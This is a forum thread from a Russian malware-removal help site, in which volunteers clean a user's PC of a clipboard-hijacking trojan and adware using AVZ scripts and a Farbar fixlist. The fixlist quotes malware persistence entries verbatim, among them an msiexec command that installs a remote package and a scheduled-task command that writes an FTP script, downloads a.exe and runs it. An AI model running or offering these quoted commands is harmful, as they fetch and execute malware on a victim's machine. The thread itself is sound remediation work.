Номер телефона в буфере обмена [not-a-virus:AdWare.Win32.ELEX.ck, Trojan.Win32.Agentb.jddg ]

Добрый вечер.

В буфере обмена постоянно появляется какой-то левый номер телефона, вместе с ним какие-то явно стремные процессы в диспетчере. Источник трогать не стала.

Логи прикрепила. Помогите пожалуйста :)

Уважаемый(ая) [B]Skittles_Requiem[/B], спасибо за обращение на наш форум!

Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в [URL="https://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="https://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="https://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].

Выполните скрипт в AVZ из папки Autologger
[code]begin
ShowMessage('Внимание! Перед выполнением скрипта AVZ автоматически закроет все сетевые подключения.' + #13#10 + 'После перезагрузки компьютера подключения к сети будут восстановлены в автоматическом режиме.');
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
if not IsWOW64
then
begin
SearchRootkit(true, true);
SetAVZGuardStatus(True);
end;
QuarantineFile('C:\Users\Skittles\appdata\everything\searchbase.exe','');
QuarantineFile('C:\Users\Skittles\appdata\everything\patch.dll','');
QuarantineFile('C:\Users\Skittles\appdata\everything\everything.exe','');
QuarantineFile('C:\Windows\help\lsmosee.exe','');
QuarantineFile('C:\Users\Skittles\AppData\Roaming\Temps\DOC001.exe','');
TerminateProcessByName('C:\ProgramData\{04769397-0476-0476-047693975212}\lsm.exe');
QuarantineFile('C:\ProgramData\{04769397-0476-0476-047693975212}\lsm.exe','');
TerminateProcessByName('c:\windows\system32\a.exe');
QuarantineFile('c:\windows\system32\a.exe','');
TerminateProcessByName('c:\users\skittles\appdata\roaming\dhelper.exe');
QuarantineFile('c:\users\skittles\appdata\roaming\dhelper.exe','');
DeleteFile('c:\users\skittles\appdata\roaming\dhelper.exe','32');
DeleteFile('c:\windows\system32\a.exe','32');
DeleteFile('C:\ProgramData\{04769397-0476-0476-047693975212}\lsm.exe','32');
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','start');
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','start1');
RegKeyParamDel('HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\amigo','command');
DeleteFile('C:\Users\Skittles\AppData\Roaming\Temps\DOC001.exe','32');
DeleteFile('C:\Windows\system32\Tasks\Microsoft LocalManager[Windows 7 Ultimate]','64');
DeleteFile('C:\Windows\system32\Tasks\Mysa3','64');
DeleteFile('C:\Windows\system32\Tasks\Mysa2','64');
DeleteFile('C:\Windows\system32\Tasks\Mysa1','64');
DeleteFile('C:\Windows\system32\Tasks\ok','64');
DeleteFile('c:\windows\debug\ok.dat','32');
DeleteFile('C:\Windows\help\lsmosee.exe','32');
BC_ImportAll;
ExecuteSysClean;
BC_Activate;
RebootWindows(false);
end.[/code][list][*]Обратите внимание: будет выполнена [b]перезагрузка компьютера[/b].[/list]

Выполните скрипт в AVZ
[code]begin
CreateQurantineArchive('c:\quarantine.zip');
end.[/code][b]c:\quarantine.zip[/b] пришлите по красной ссылке [color="Red"][u][b]Прислать запрошенный карантин [/b][/u][/color] [b]над первым сообщением[/b] темы.

[b][color="Red"]Пожалуйста, ЕЩЕ РАЗ запустите Autologger, прикрепите к следующему сообщению НОВЫЕ логи. [/color][/b]

Готово :)

Скачайте [url=https://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/][b]Farbar Recovery Scan Tool[/b][/url] [img]https://i.imgur.com/NAAC5Ba.png[/img] и сохраните на Рабочем столе.
[list][*][b]Примечание[/b]: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.[/list]
1. Запустите программу двойным щелчком. Когда программа запустится, нажмите [b]Yes[/b] для соглашения с предупреждением.
2. Убедитесь, что в окне [b]Optional Scan[/b] отмечены [i]List BCD[/i], [i]Driver MD5[/i] и [i]90 Days Files[/i].
[img]https://i.imgur.com/3munStB.png[/img]
3. Нажмите кнопку [b]Scan[/b].
4. После окончания сканирования будет создан отчет ([b]FRST.txt[/b]) в той же папке, откуда была запущена программа.
5. Если программа была запущена в первый раз, также будет создан отчет ([b]Addition.txt[/b]).
6. Файлы [b]FRST.txt[/b] и [b]Addition.txt[/b] заархивируйте (в [b]один общий архив[/b]) и прикрепите к сообщению.

Готово :)

1. Откройте [b]Блокнот[/b] и скопируйте в него приведенный ниже текст
[code]
CreateRestorePoint:
HKLM\...\Run: [start1] => msiexec.exe /i hxxp://js.mykings.top:280/helloworld.msi /q <==== ATTENTION
HKLM-x32\...\Run: [rundll32] => [X]
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender: Restriction <==== ATTENTION
HKU\S-1-5-21-3007725585-1832440235-3636534268-1000\...\Run: [Adobe] => C:\Users\Skittles\AppData\Local\145fd20\svсhоst.exe [2 2016-10-27] ()
HKU\S-1-5-21-3007725585-1832440235-3636534268-1000\...\Run: [] => [X]
HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local: [ActivePolicy] SOFTWARE\Policies\Microsoft\Windows\IPSEC\Policy\Local\ipsecPolicy{d518f2a1-5060-43ae-8717-85848f913d03} <==== ATTENTION (Restriction - IP)
CHR StartupUrls: Default -> "hxxp://www.istartsurf.com/?type=hp&ts=1424191126&from=smt&uid=ST2000DL003-9VT166_5YD7YXMGXXXX5YD7YXMG","hxxp://www.istartsurf.com/?type=hppp&ts=1424191164&from=smt&uid=ST2000DL003-9VT166_5YD7YXMGXXXX5YD7YXMG","hxxp://www.google.com/","hxxp://www.\u003C!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"hxxp://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">","hxxp://www.\u003C!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"hxxp://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">?type=hppppppppppppppppppppppp","hxxp://www.\u003C!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"hxxp://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">?type=hppppppppppppppppppppppppp","hxxp://www.istartsurf.com/?type=hppp&ts=1434204691&from=xtab&uid=5959259E55CE4d308004C90FF7CF638C"
CHR HKLM-x32\...\Chrome\Extension: [bopakagnckmlgajfccecajhnimjiiedh] - hxxp://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [fidibeiehaokohhbnkdjmkcapgnndfkc] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [jkagakiplhpgacmegfblcddbckenmiio] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [kjlpdpfmpoggibmjgmbaoidffidifakh] - hxxps://clients2.google.com/service/update2/crx
2018-08-15 12:39 - 2018-08-15 22:23 - 000000000 __SHD C:\Users\Все пользователи\{04769397-0476-0476-047693975212}
2018-08-15 12:39 - 2018-08-15 22:23 - 000000000 __SHD C:\ProgramData\{04769397-0476-0476-047693975212}
2018-08-13 21:31 - 2018-08-13 21:31 - 000000000 __SHD C:\Users\Все пользователи\{11364138-1136-1136-113641384703}
2018-08-13 21:31 - 2018-08-13 21:31 - 000000000 __SHD C:\ProgramData\{11364138-1136-1136-113641384703}
2018-08-13 13:22 - 2018-08-13 13:22 - 000000000 __SHD C:\Users\Все пользователи\{53261523-5326-5326-532615232860}
2018-08-13 13:22 - 2018-08-13 13:22 - 000000000 __SHD C:\ProgramData\{53261523-5326-5326-532615232860}
2018-08-12 13:21 - 2018-08-12 13:21 - 000000000 __SHD C:\Users\Все пользователи\{47765301-4776-4776-477653017180}
2018-08-12 13:21 - 2018-08-12 13:21 - 000000000 __SHD C:\ProgramData\{47765301-4776-4776-477653017180}
2018-08-12 13:20 - 2018-08-12 13:20 - 000000000 __SHD C:\Users\Все пользователи\{29476086-2947-2947-294760860047}
2018-08-12 13:20 - 2018-08-12 13:20 - 000000000 __SHD C:\ProgramData\{29476086-2947-2947-294760860047}
2018-08-11 16:26 - 2018-08-11 16:26 - 000000000 __SHD C:\Users\Все пользователи\{76742724-7674-7674-767427241713}
2018-08-11 16:26 - 2018-08-11 16:26 - 000000000 __SHD C:\ProgramData\{76742724-7674-7674-767427241713}
2018-08-11 16:26 - 2017-06-04 20:01 - 000000000 __RSH C:\Users\Skittles\AppData\Roaming\cppredistx86.exe
2018-08-11 16:25 - 2018-08-15 22:23 - 000000000 ____D C:\Users\Skittles\AppData\Roaming\Temps
2018-08-11 16:24 - 2018-08-14 15:14 - 001033460 _____ () C:\Users\Skittles\AppData\Local\Temp\doc.exe
2015-11-07 18:56 - 2015-11-07 19:02 - 021544960 _____ () C:\Users\Skittles\AppData\Local\Temp\h7RluuPKNDjB.exe
2018-08-11 16:26 - 2018-08-11 16:26 - 002135466 _____ () C:\Users\Skittles\AppData\Local\Temp\java.exe
2018-08-11 16:26 - 2018-08-11 16:26 - 000204800 _____ () C:\Users\Skittles\AppData\Local\Temp\java12.exe
2018-02-26 06:26 - 2016-01-26 10:34 - 000871728 _____ () C:\Users\Skittles\AppData\Local\Temp\tasklisten.exe
2016-10-05 20:00 - 2016-10-05 20:00 - 000065280 _____ () C:\Users\Skittles\AppData\Local\Temp\utils.dll
2015-11-07 19:02 - 2015-11-07 19:02 - 000000000 _____ () C:\Users\Skittles\AppData\Local\Temp\vsni8zmORqJO.exe
2015-11-07 18:59 - 2015-11-07 19:02 - 001056768 _____ () C:\Users\Skittles\AppData\Local\Temp\xO8KaSWzuSm9.exe
2015-11-07 18:55 - 2015-11-07 18:56 - 004562136 ____N () C:\Users\Skittles\AppData\Local\Temp\Z72F9d4XVkm2.exe
Task: {7C64FE33-7330-4257-B5A5-BF6CDB52A3BF} - \Microsoft LocalManager[Windows 7 Ultimate] -> No File <==== ATTENTION
Task: {A3847F0A-321A-4BC3-B27D-F26951318A39} - \Mysa2 -> No File <==== ATTENTION
Task: {AF6012B9-423F-4280-9F54-1A7DC4E7400A} - System32\Tasks\Mysa => cmd /c echo open down.mysking.info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe>>s&echo bye>>s&ftp -s:s&a.exe <==== ATTENTION
Task: {BC2A3506-6FFA-4907-8C9C-4D2197414D0C} - \Mysa1 -> No File <==== ATTENTION
Task: {C13410BF-D894-41C9-A9AE-E4936C8BC960} - \Mysa3 -> No File <==== ATTENTION
Task: {DEB7DF20-9DC1-42BE-A87D-712127C0D9D0} - \ok -> No File <==== ATTENTION
AlternateDataStreams: C:\ProgramData\TEMP:9026EFD0 [124]
AlternateDataStreams: C:\Users\Все пользователи\TEMP:9026EFD0 [124]
MSCONFIG\startupreg: amigo => C:\Users\Skittles\AppData\Local\Amigo\Application\amigo.exe --no-startup-window
Reboot:
[/code]
2. Нажмите [b]Файл[/b] – [b]Сохранить как[/b]
3. Выберите папку, откуда была запущена утилита [b]Farbar Recovery Scan Tool[/b]
4. Укажите [b]Тип файла[/b] – [b]Все файлы (*.*)[/b]
5. Введите имя файла [b]fixlist.txt[/b] и нажмите кнопку [b]Сохранить[/b]
6. Запустите FRST, нажмите один раз на кнопку [b]Fix[/b] и подождите. Программа создаст лог-файл ([b]Fixlog.txt[/b]). Пожалуйста, прикрепите его в следующем сообщении.
[list][*]Обратите внимание: будет выполнена [b]перезагрузка компьютера[/b].[/list]

И еще раз готово :)

Проблема решена?

[QUOTE=thyrex;1486747]Проблема решена?[/QUOTE]

Вроде бы да :) Спасибо вам огромное.

Правда после последних манипуляций (с фиксом) винда утром запустилась только после восстановления, не знаю имеет ли это значение, но никаких номеров заново не появлялось
:tender:

Установите ВСЕ доступные обновления для системы.

Статистика проведенного лечения:
[LIST][*]Получено карантинов: [B]1[/B][*]Обработано файлов: [B]8[/B][*]В ходе лечения обнаружены вредоносные программы:
[LIST=1][*] c:\programdata\{04769397-0476-0476-047693975212}\lsm.exe - [B]Trojan.Win32.Tasker.it[/B] ( BitDefender: Gen:Trojan.Heur.RP.mqW@amq8kwoi, AVAST4: Win32:Trojan-gen )[*] c:\users\skittles\appdata\everything\everything.exe - [B]not-a-virus:AdWare.Win32.ELEX.ct[/B][*] c:\users\skittles\appdata\everything\searchbase.exe - [B]not-a-virus:AdWare.Win32.ELEX.ck[/B][*] c:\users\skittles\appdata\roaming\dhelper.exe - [B]HEUR:Trojan.Win32.Generic[/B] ( AVAST4: Win32:Malware-gen )[*] c:\users\skittles\appdata\roaming\temps\doc001.exe - [B]HEUR:Trojan.Win32.Agent.gen[/B] ( BitDefender: Application.BitCoinMiner.IG, AVAST4: Win32:Adware-gen [Adw] )[*] c:\windows\help\lsmosee.exe - [B]HEUR:Trojan.Win32.Generic[/B] ( AVAST4: Win32:Malware-gen )[*] c:\windows\system32\a.exe - [B]Trojan.Win32.Agentb.jddg[/B][/LIST][/LIST]